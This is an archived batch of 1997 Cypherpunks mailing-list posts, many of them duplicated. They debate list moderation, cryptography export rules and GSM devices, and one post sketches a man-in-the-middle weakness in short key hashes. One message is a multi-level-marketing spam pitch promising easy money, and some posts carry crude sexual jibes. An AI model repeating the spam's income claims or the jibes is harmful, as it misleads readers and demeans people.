University, I think that perhaps he has been hanging out and drinking
too many beers with my former philosophy professor Quentin Lauer. ;-7 

>    The crypto-cognizant citizen proclaims cryptographical ability as
> a means of empowering their rights of free speech.  The more intelligent
> of them recognize as misinformation the government's feeble claims that
> they cannot successfully investigate someone moving tons of illegal
> drugs into the country unless they have the capacity to eavesdrop on
> the private correspondences of 'all' of their citizens. (Which is the
> equivalent, in my mind, of claiming that AIDS cannot be held in check
> without knowing the details of all of the citizens sex-lives.)
 
Governments, however, are made up of the very same people who claim
to require these rights to privacy. Those people create, codify and 
enforce the laws. The problem is that the people who find themselves in 
this position of power are not always the most moral or concerned with 
the best interest of the majority. 

And fiendishly, it is the very chaos and anarchy and random chance 
espoused by proponents of the cypherpunk philosophy that allows these
people to gain this power, unchecked! 
 
Thus, the real problem ends up being not "how to control the government
so that the government doesn't control us", but "how to deal with the 
government when it goes into control-freak mode". That it will go into
such a mode is a given -- based on human nature and history. This is
a fundamental cycle of evolution and human behavior. We have to face
the fact that humans are predators, and as long as we are, the 
cycle of this behavior will continue. 

The human race has not evolved to such a point where privacy is not an
essential thing. If tomorrow everyone turned instantly telepathic and 
we all were capable of knowing each other's thoughts, you'd best believe
the suicide rate would be beyond belief. Buisnesses would instantly 
fail, countries would instantly be absorbed by other countries, many 
relationships based on love and trust would be destroyed. 

And during that time, the deadliest person alive - the toughest and 
the meanest, and the most effective in the face of all the chaos, would
not be the person who was capable of preserving their privacy. Rather,
it would be the one who was capable of surviving in it's complete 
absence. 

This is not to denigrate the efforts of the cypherpunks, but merely to
point out an area that they may not have thought of as a method to
battle the trend towards fascism. 

-- 
Marcus: "They'll try to kill you."         | "You won't see me in 
Xena: "Oh, I still have a few tricks       | front, but you can't 
       left up my sleeve...I don't         | leave me behind!" 
       have any sleeves!" -- Xena bloopers |                 -- YES 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 22:59:18 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210535.AAA05654@oak.liii.com>
Message-ID: <32E484AD.7B39@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> 
> If Dr. Vulis is indeed an adjunct professor at Fordham
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7

  All the good computer people have degrees in Political Philosophy,
and the like. People with actual computer science degrees, etc., 
seem to be more astute at office politics, however. It's a strange
world.

> And fiendishly, it is the very chaos and anarchy and random chance
> espoused by proponents of the cypherpunk philosophy that allows these
> people to gain this power, unchecked!

  I think that the 'cypherpunk philosophy' is history, now. It seems to
me that many of the CypherPunks have gotten their piece of the pie and
are mostly concerned with big business Cypher, and wish that the Punks
would just go away.
  There is always an essential element behind every movement, and those
who are active in espousing the tenets of that movement, be they the
'suits' or the 'jeans', are seldom any more than mouthpieces for
those who continue to work toward essential goals no matter what
the surface manifestations of a group seem to indicate.

> Thus, the real problem ends up being not "how to control the government
> so that the government doesn't control us", but "how to deal with the
> government when it goes into control-freak mode".
> the deadliest person alive - the toughest and
> the meanest, and the most effective in the face of all the chaos, would
> not be the person who was capable of preserving their privacy. Rather,
> it would be the one who was capable of surviving in it's complete
> absence.

  It might well be that the purpose of evolution is to weed out those
who cannot
survive in both scenarios.
 
> This is not to denigrate the efforts of the cypherpunks, but merely to
> point out an area that they may not have thought of as a method to
> battle the trend towards fascism.

  Many haven't, some have.  Between the Hermit and the Fool, stand many
who are merely occupying a space.
  There are those who theorize that genius' and the insane are the 
forerunners of the new directions humanity will take. I subscribe to
the CypherPunks list so that I can monitor both at the same time.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Mon, 20 Jan 1997 16:06:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
In-Reply-To: <199701201613.IAA12460@toad.com>
Message-ID: <Pine.HPP.3.91.970121004302.23370A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997, Adam Back wrote:

> into the data port.  You can't fit the laptop and GSM phone
> combination into your shirt pocket.  What are you going to use for a

With a reasonably sized shirt pocket you can fit a Nokia 9000
Communicator into it: a combination of GSM phone and 386 computer,
with 6 MB storage (OS and default applications use 4 of those)
and 2 MB RAM. It runs fax, SMS (Short Messages Services), a Terminal,
SMTP, IMAP4, MIME1, WWW and telnet. The operative system is GEOS
(tm) 3.0. I guess it's not very programmable though (and there is
no PGPhone implementation for GEOS) and data speed is only 9600 bps.
And there is probably no connection between the mic/speaker and
the computer.

But it's only 173 x 64 x 38 mm, and perhaps the next generation of such
devices might be interesting for reengineering into secure end-to-end
crypto phenes? 

Asgaard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Mon, 20 Jan 1997 16:57:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
Message-ID: <199701210057.QAA24939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997, Adam Back wrote:

> into the data port.  You can't fit the laptop and GSM phone
> combination into your shirt pocket.  What are you going to use for a

With a reasonably sized shirt pocket you can fit a Nokia 9000
Communicator into it: a combination of GSM phone and 386 computer,
with 6 MB storage (OS and default applications use 4 of those)
and 2 MB RAM. It runs fax, SMS (Short Messages Services), a Terminal,
SMTP, IMAP4, MIME1, WWW and telnet. The operative system is GEOS
(tm) 3.0. I guess it's not very programmable though (and there is
no PGPhone implementation for GEOS) and data speed is only 9600 bps.
And there is probably no connection between the mic/speaker and
the computer.

But it's only 173 x 64 x 38 mm, and perhaps the next generation of such
devices might be interesting for reengineering into secure end-to-end
crypto phenes? 

Asgaard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 00:20:33 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: RSA challenge: is it legal to try?
In-Reply-To: <199701210631.WAA03064@mail.pacifier.com>
Message-ID: <32E48B73.6F00@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
 
> In short, I think it's absolutely foolish to believe that any sort of
> workable system could ever have been arranged to patent software, even if
> all of the issues above had been addressed fairly.  And the reason I asked
> for an "innocent" explanation is to give people the benefit of the doubt so
> that they could show that the system was working.  It isn't, and you know it.

  Sure the 'system' is working. Software patents were begun as a means
for
the government to exert control over the direction of software
development.
  It's the same thing as crypto-export regulations. They established a
dick-licking order for those who want to whore their way to riches 
under government rule. So now the quickest way to export your product
is to name it 'Crypto Light'.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 06:57:23 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701211457.GAA06835@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
 
> In short, I think it's absolutely foolish to believe that any sort of
> workable system could ever have been arranged to patent software, even if
> all of the issues above had been addressed fairly.  And the reason I asked
> for an "innocent" explanation is to give people the benefit of the doubt so
> that they could show that the system was working.  It isn't, and you know it.

  Sure the 'system' is working. Software patents were begun as a means
for
the government to exert control over the direction of software
development.
  It's the same thing as crypto-export regulations. They established a
dick-licking order for those who want to whore their way to riches 
under government rule. So now the quickest way to export your product
is to name it 'Crypto Light'.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 00:20:34 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
In-Reply-To: <199701140637.WAA14213@toad.com>
Message-ID: <32E4905C.4045@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> I don't like to admit to it, but I've practiced baiting for many years

  This startling announcement ranks right up there at the top of the
'surprise' scale, along with K.D. Lang's announcement that she is gay.
(Like the Butch (crew-cut) hairstyle was not a major hint.)

  By the way, when I espoused my opinion that the moderation
announcement's
"your suggestions will be considered" was merely political rhetoric, I 
was offered (and took) a bet of 50,000 electronic porno byte-credits
on whether or not I was right.
  My opponent and I agreed that lack of any serious recognition of the
list
member's input would be taken as a sign of my supposition being correct.
I am of the belief that I have won the bet. Does anyone have any proof
to the contrary?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 07:10:45 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
Message-ID: <199701211510.HAA06970@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> I don't like to admit to it, but I've practiced baiting for many years

  This startling announcement ranks right up there at the top of the
'surprise' scale, along with K.D. Lang's announcement that she is gay.
(Like the Butch (crew-cut) hairstyle was not a major hint.)

  By the way, when I espoused my opinion that the moderation
announcement's
"your suggestions will be considered" was merely political rhetoric, I 
was offered (and took) a bet of 50,000 electronic porno byte-credits
on whether or not I was right.
  My opponent and I agreed that lack of any serious recognition of the
list
member's input would be taken as a sign of my supposition being correct.
I am of the belief that I have won the bet. Does anyone have any proof
to the contrary?

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blizz@capella.net
Date: Mon, 20 Jan 1997 22:57:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Moment of your Time.
Message-ID: <199701210701.CAA22866@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


If I could just have a moment of your time,
this is an opportunity message being sent out first
to those I would think might be interested.  I have
a network marketing opportunity to make GOOD money
with MINIMAL effort.  I will not take up your time
with the details.  If you are serious about making
REAL money in the MLM game, just reply with OK in
the message subject and I will send you a Webpage
that will explain better than I could ever do via 
Email.
   This program uses a database to place people
in your downline AUTOMATICALLY as they sign up.
you can spend little or even NO time recruiting, the
choice is yours.
   I have never claimed to be articulate when sending 
Email, so I will end it here, but trust me, this is
worth AT LEAST taking a look at.  After all, if we don't
have the time to check out NEW opportunity's, are we 
really being honest to ourselves in expecting to ever
make money at this?
   If you wish to be removed from my mailing list, just
reply to this with REMOVE in the subject line, and you
will automatically be taken from my future mailing lists.
   I hope you choose to reply with OK, you really should
at least take a look...

		Thanks, and GOOD LUCK Either way!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 00:20:39 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
In-Reply-To: <199701210718.CAA16490@mercury.peganet.com>
Message-ID: <32E498F7.6FDB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:

>   While many of you think that the ability of a list to withstand
> constant spamming is an important issue; the government is busily
> working to outlaw encryption and privacy, and I fear that much
> is lost by the side issue of the "how easily can I kill a list".

  The "About Cypherpunks" intro to the list states,
  "Cypherpunks know how to attack a system and how to defend it."
  "Cypherpunks love to practice."
  If I choose to join the "Venemous Snakes" list, I'm not going to
complain about getting bit every now and again.

> I feel we at a *critical* crossroads in this debate, and one of the
> more important voices has *very* effectively been silenced.

  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
worked, to date.
 
>   I cannot understand why you think that
> the attempt to disrupt and destroy this list a necessary step
> in the task of resisting this governmental effort.

  I haven't seen any evidence of an attempt to destroy this list. 
I've seen many attempts to manipulate the list's direction, but
that is another matter.

>   Again, I can't understand why "killing the messenger" is advancing
> the issues of privacy and crypto issues.

  There was a crypto-messenger named DataETRetch that 'advanced' their
version of crypto on this list, and they left their heads on the
chopping
block on their way out.
  If your team can't even make it through the scrimmages, then they
don't
belong in the game.  And if you find yourself suggesting, "Why don't we
just play 'touch', instead of 'tackle'.", then you're probably getting
too old and tired to play in the major leagues.

> How does the posting of numerous crude anti-Tim May messages promote 
> personal privacy?

  It doesn't. 'Stopping' the annoyance of these messages promotes 
personal privacy.

> > > "In peacetime, a warlike man sets upon himself." -- Nietzsche
> >   "In times of war, a peacelike man sets upon others."
> >        Bubba Rom Dos
> 
>   This seems horribly to describe the current situation.

  No shit, Sherlock.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 07:11:45 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701211511.HAA07046@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:

>   While many of you think that the ability of a list to withstand
> constant spamming is an important issue; the government is busily
> working to outlaw encryption and privacy, and I fear that much
> is lost by the side issue of the "how easily can I kill a list".

  The "About Cypherpunks" intro to the list states,
  "Cypherpunks know how to attack a system and how to defend it."
  "Cypherpunks love to practice."
  If I choose to join the "Venemous Snakes" list, I'm not going to
complain about getting bit every now and again.

> I feel we at a *critical* crossroads in this debate, and one of the
> more important voices has *very* effectively been silenced.

  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
worked, to date.
 
>   I cannot understand why you think that
> the attempt to disrupt and destroy this list a necessary step
> in the task of resisting this governmental effort.

  I haven't seen any evidence of an attempt to destroy this list. 
I've seen many attempts to manipulate the list's direction, but
that is another matter.

>   Again, I can't understand why "killing the messenger" is advancing
> the issues of privacy and crypto issues.

  There was a crypto-messenger named DataETRetch that 'advanced' their
version of crypto on this list, and they left their heads on the
chopping
block on their way out.
  If your team can't even make it through the scrimmages, then they
don't
belong in the game.  And if you find yourself suggesting, "Why don't we
just play 'touch', instead of 'tackle'.", then you're probably getting
too old and tired to play in the major leagues.

> How does the posting of numerous crude anti-Tim May messages promote 
> personal privacy?

  It doesn't. 'Stopping' the annoyance of these messages promotes 
personal privacy.

> > > "In peacetime, a warlike man sets upon himself." -- Nietzsche
> >   "In times of war, a peacelike man sets upon others."
> >        Bubba Rom Dos
> 
>   This seems horribly to describe the current situation.

  No shit, Sherlock.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Mon, 20 Jan 1997 23:25:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701210718.CAA16490@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca wrote:
> If what you say is true, then Dr. DV K's efforts are quite possibly 
> the most important issue being addressed in this conference, because
> behind free speech, lies the most important issue of all--when does
> it start, and when does it stop.

  As a long time lurker (much longer than many of the numerous
relatively recent vociferous posters) I *must* speak up.
  If the dear "Doctor's" posting are indeed a "grand" experiment
in newsgroup (or maillist) sociology, then it seems they are akin to
experiments in recent history; if the patient dies, so what? There are
other lists...
  While many of you think that the ability of a list to withstand
constant spamming is an important issue; the government is busily
working to outlaw encryption and privacy, and I fear that much
is lost by the side issue of the "how easily can I kill a list".
I feel we at a *critical* crossroads in this debate, and one of the
more important voices has *very* effectively been silenced.

>   The military-industrial complex proclaims this necessary for the
> purposes of state-security, and denies that it is used in order to keep 
> their 'sins' from being exposed. (If you believe this, then please 
> contact me by private email regarding an ocean-front property I have
> available in Tucson, AZ.  If you act quickly, I will throw in a set
> of the Amazing Ginzu Knives as an added bonus.)

  This is very true, but I cannot understand why you think that
the attempt to disrupt and destroy this list a necessary step
in the task of resisting this governmental effort.

>   As far as I am concerned, any CypherPunk who believes that the
> socio/politico issues surrounding cryptography are not important
> enough to be an integral part of this list is falling into the
> same type of trap as those who think that they can become good
> cryptographers without becoming good cryptanalysts.

  Again, I can't understand why "killing the messenger" is advancing
the issues of privacy and crypto issues. How does the posting of
numerous crude anti-Tim May messages promote personal privacy?

> > "In peacetime, a warlike man sets upon himself." -- Nietzsche
>   "In times of war, a peacelike man sets upon others."
>        Bubba Rom Dos

  This seems horribly to describe the current situation.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Tue, 21 Jan 1997 06:55:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701211455.GAA06829@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca wrote:
> If what you say is true, then Dr. DV K's efforts are quite possibly 
> the most important issue being addressed in this conference, because
> behind free speech, lies the most important issue of all--when does
> it start, and when does it stop.

  As a long time lurker (much longer than many of the numerous
relatively recent vociferous posters) I *must* speak up.
  If the dear "Doctor's" posting are indeed a "grand" experiment
in newsgroup (or maillist) sociology, then it seems they are akin to
experiments in recent history; if the patient dies, so what? There are
other lists...
  While many of you think that the ability of a list to withstand
constant spamming is an important issue; the government is busily
working to outlaw encryption and privacy, and I fear that much
is lost by the side issue of the "how easily can I kill a list".
I feel we at a *critical* crossroads in this debate, and one of the
more important voices has *very* effectively been silenced.

>   The military-industrial complex proclaims this necessary for the
> purposes of state-security, and denies that it is used in order to keep 
> their 'sins' from being exposed. (If you believe this, then please 
> contact me by private email regarding an ocean-front property I have
> available in Tucson, AZ.  If you act quickly, I will throw in a set
> of the Amazing Ginzu Knives as an added bonus.)

  This is very true, but I cannot understand why you think that
the attempt to disrupt and destroy this list a necessary step
in the task of resisting this governmental effort.

>   As far as I am concerned, any CypherPunk who believes that the
> socio/politico issues surrounding cryptography are not important
> enough to be an integral part of this list is falling into the
> same type of trap as those who think that they can become good
> cryptographers without becoming good cryptanalysts.

  Again, I can't understand why "killing the messenger" is advancing
the issues of privacy and crypto issues. How does the posting of
numerous crude anti-Tim May messages promote personal privacy?

> > "In peacetime, a warlike man sets upon himself." -- Nietzsche
>   "In times of war, a peacelike man sets upon others."
>        Bubba Rom Dos

  This seems horribly to describe the current situation.

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard L. Field" <field@pipeline.com>
Date: Tue, 21 Jan 1997 01:18:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <1.5.4.16.19970121042128.0a871362@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


  In reply to Solveig Bernstein's First Amendment challenge questions:

  I read the new regs as permitting:  (i) publication of source code in
paper form (including publications reproduced on microfilm or on prerecorded
phonograph records), or in the form of a motion picture film and soundtrack
(section 734.3(b)(2)); and, separately, (ii) teaching or discussion of
information "about" cryptography (section 744.9).  The export of other
encryption materials (including the distribution to non-US persons of source
or object code on diskettes) is restricted, even if the materials are
publicly available "educational information" for release by instruction in
catalog courses and associated teaching laboratories of academic
institutions (section 734.9).

  Technical assistance activities that go beyond "mere" teaching or
discussion of information about cryptography are restricted, if they show
"intent" to aid a foreign person in the development or manufacture, outside
the United States, of controlled encryption commodities and software.  This
is a General Prohibition (see section 736.2(b)(7)(ii)).

  I think one question to be resolved is:  could the "mere" teaching about
cryptography (which is okay), *coupled* with distribution of source code in
paper form (which is otherwise okay because it is not, by itself, subject to
the EAR - see note to section 734.3(b)(2) and (b)(3)), be considered a
violation of the EAR because it demonstrates "intent" to aid a foreign
person in the development of encryption software?  One would hope not (see
Bernstein), but the new 734.9 seems to imply that such a combination may be
restricted.

   Thus, a potental First Amendment challenge to the new regs would be a
challenge to a restriction on teaching coupled with paper
publication/distribution of source code.  Another would be a challenge to
the restriction on non-paper publication/distribution, whether or not
coupled with teaching.

  - Richard Field

(For discussion purposes only.  Not legal advice or a legal opinion.)




On Mon, 20 Jan 1997 14:45:44 -0500 (EST) you wrote (to Declan McCullagh):
>
>What have the new crypto regs done to the "technical data" and the "public
>domain" exemptions from ITAR?
>
>The problem is this:  as I understand it, the Commerce Dept. regs exempt
>teaching and print presentations generally, but these exemptions do not
>apply to "encryption software."
>
>Does this mean that the exemptions do not apply to *teaching about*
>encryption software or *publications about* encryption software?  Or *only*
>that the exemptions do not apply to diskette-contained source code or object
>code.
>
>In other words, the new regs might completely decontrol teaching and
>publication of something like Professor Bernstein's Snuffle.
>
>On the other hand, the new regs might, like ITAR, restrict teaching and
>publication of Snuffle (as well as publication of source code in diskette
>format).
>
>The purpose of the question is to understand whether a First Amendment
>challenge to the new regs is a First Amendment challenge to a restriction on
>*teaching, publication, and program distribution* or just a challenge to a
>restriction on *program distribution.*
>
>
>Solveig Bernstein, Esq.
>(202) 789-5274
>(202) 842-3490 (fax)
>
>Assistant Director of Telecommunications & Technology Studies
>Cato Institute
>1000 Mass. Ave. NW
>Washington, DC 20001





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard L. Field" <field@pipeline.com>
Date: Tue, 21 Jan 1997 07:11:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <199701211511.HAA07040@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  In reply to Solveig Bernstein's First Amendment challenge questions:

  I read the new regs as permitting:  (i) publication of source code in
paper form (including publications reproduced on microfilm or on prerecorded
phonograph records), or in the form of a motion picture film and soundtrack
(section 734.3(b)(2)); and, separately, (ii) teaching or discussion of
information "about" cryptography (section 744.9).  The export of other
encryption materials (including the distribution to non-US persons of source
or object code on diskettes) is restricted, even if the materials are
publicly available "educational information" for release by instruction in
catalog courses and associated teaching laboratories of academic
institutions (section 734.9).

  Technical assistance activities that go beyond "mere" teaching or
discussion of information about cryptography are restricted, if they show
"intent" to aid a foreign person in the development or manufacture, outside
the United States, of controlled encryption commodities and software.  This
is a General Prohibition (see section 736.2(b)(7)(ii)).

  I think one question to be resolved is:  could the "mere" teaching about
cryptography (which is okay), *coupled* with distribution of source code in
paper form (which is otherwise okay because it is not, by itself, subject to
the EAR - see note to section 734.3(b)(2) and (b)(3)), be considered a
violation of the EAR because it demonstrates "intent" to aid a foreign
person in the development of encryption software?  One would hope not (see
Bernstein), but the new 734.9 seems to imply that such a combination may be
restricted.

   Thus, a potental First Amendment challenge to the new regs would be a
challenge to a restriction on teaching coupled with paper
publication/distribution of source code.  Another would be a challenge to
the restriction on non-paper publication/distribution, whether or not
coupled with teaching.

  - Richard Field

(For discussion purposes only.  Not legal advice or a legal opinion.)




On Mon, 20 Jan 1997 14:45:44 -0500 (EST) you wrote (to Declan McCullagh):
>
>What have the new crypto regs done to the "technical data" and the "public
>domain" exemptions from ITAR?
>
>The problem is this:  as I understand it, the Commerce Dept. regs exempt
>teaching and print presentations generally, but these exemptions do not
>apply to "encryption software."
>
>Does this mean that the exemptions do not apply to *teaching about*
>encryption software or *publications about* encryption software?  Or *only*
>that the exemptions do not apply to diskette-contained source code or object
>code.
>
>In other words, the new regs might completely decontrol teaching and
>publication of something like Professor Bernstein's Snuffle.
>
>On the other hand, the new regs might, like ITAR, restrict teaching and
>publication of Snuffle (as well as publication of source code in diskette
>format).
>
>The purpose of the question is to understand whether a First Amendment
>challenge to the new regs is a First Amendment challenge to a restriction on
>*teaching, publication, and program distribution* or just a challenge to a
>restriction on *program distribution.*
>
>
>Solveig Bernstein, Esq.
>(202) 789-5274
>(202) 842-3490 (fax)
>
>Assistant Director of Telecommunications & Technology Studies
>Cato Institute
>1000 Mass. Ave. NW
>Washington, DC 20001






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Mon, 20 Jan 1997 20:58:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <199701202142.NAA19098@toad.com>
Message-ID: <19970121045809.17075.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


frantz@netcom.com (Bill Frantz) wrote:
> The box has a 3 or 4 digit display which displays "something" about the
> 3DES key, where "something" is some of the bits, or a hash, or ...  With 3
> decimal digits, a MIM attacker has a 999 out of 1000 chance of getting
> caught.

Not true. It will take a MIM machine less than a tenth of a second to
come up with a 3DES key that will have the same three digit hash.
Remember the attack found about Clipper's LEAF hash, which was only
16 bits long?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Mon, 20 Jan 1997 21:25:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701210525.VAA29113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


frantz@netcom.com (Bill Frantz) wrote:
> The box has a 3 or 4 digit display which displays "something" about the
> 3DES key, where "something" is some of the bits, or a hash, or ...  With 3
> decimal digits, a MIM attacker has a 999 out of 1000 chance of getting
> caught.

Not true. It will take a MIM machine less than a tenth of a second to
come up with a 3DES key that will have the same three digit hash.
Remember the attack found about Clipper's LEAF hash, which was only
16 bits long?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Tue, 21 Jan 1997 03:42:33 -0800 (PST)
To: Mixmaster Mailing List <cypherpunks@toad.com>
Subject: Nex type2.list/pubring.mix
Message-ID: <Pine.NEB.3.93.970121053651.21784B-100000@alpha.jpunix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hello Everyone!

	There is a new type2.list/pubring.mix combination on jpunix.com.
The Web version is located at www.jpunix.com and the FTP version is at
ftp.jpunix.com. This version reflects the introduction of the wazoo
remailer.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMuSrVFOTpEThrthvAQF3VQP/WnfaCY5FYNyImKDX2p5HqjevMzw98bxR
SsiKqWVUTRxEd10rTxPTBfVpq/d+kfDkWs3HQEc/Z2a3LYXwZ/8bFkr9qXTP2wOq
L5PjjpD3QwfJVa2wv+DWYgn07rTyKhe5kOti4YfTt//M7F3S0T/BLMuggG/BXKyB
ccUyqt16PL4=
=+wMo
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Tue, 21 Jan 1997 07:10:58 -0800 (PST)
To: Mixmaster Mailing List <cypherpunks@toad.com>
Subject: Nex type2.list/pubring.mix
Message-ID: <199701211510.HAA07001@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hello Everyone!

	There is a new type2.list/pubring.mix combination on jpunix.com.
The Web version is located at www.jpunix.com and the FTP version is at
ftp.jpunix.com. This version reflects the introduction of the wazoo
remailer.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMuSrVFOTpEThrthvAQF3VQP/WnfaCY5FYNyImKDX2p5HqjevMzw98bxR
SsiKqWVUTRxEd10rTxPTBfVpq/d+kfDkWs3HQEc/Z2a3LYXwZ/8bFkr9qXTP2wOq
L5PjjpD3QwfJVa2wv+DWYgn07rTyKhe5kOti4YfTt//M7F3S0T/BLMuggG/BXKyB
ccUyqt16PL4=
=+wMo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 21 Jan 1997 04:40:15 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210140.RAA25601@toad.com>
Message-ID: <32E4B91C.4652@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> 
> That appears to be the main brunt of his efforts, to "push the 
> envelope" of free speech in order to force it's definition. 

Well, the irritating part is that I think he's pushing the wrong
envelope.  Why anyone would expect any particular degree of 
"freedom" to use a service run for free by a private individual
is beyond me.

I appreciate the service, but I don't take it for granted and I
certainly don't take it as an inalienable right.

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 21 Jan 1997 07:11:00 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701211511.HAA07002@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> 
> That appears to be the main brunt of his efforts, to "push the 
> envelope" of free speech in order to force it's definition. 

Well, the irritating part is that I think he's pushing the wrong
envelope.  Why anyone would expect any particular degree of 
"freedom" to use a service run for free by a private individual
is beyond me.
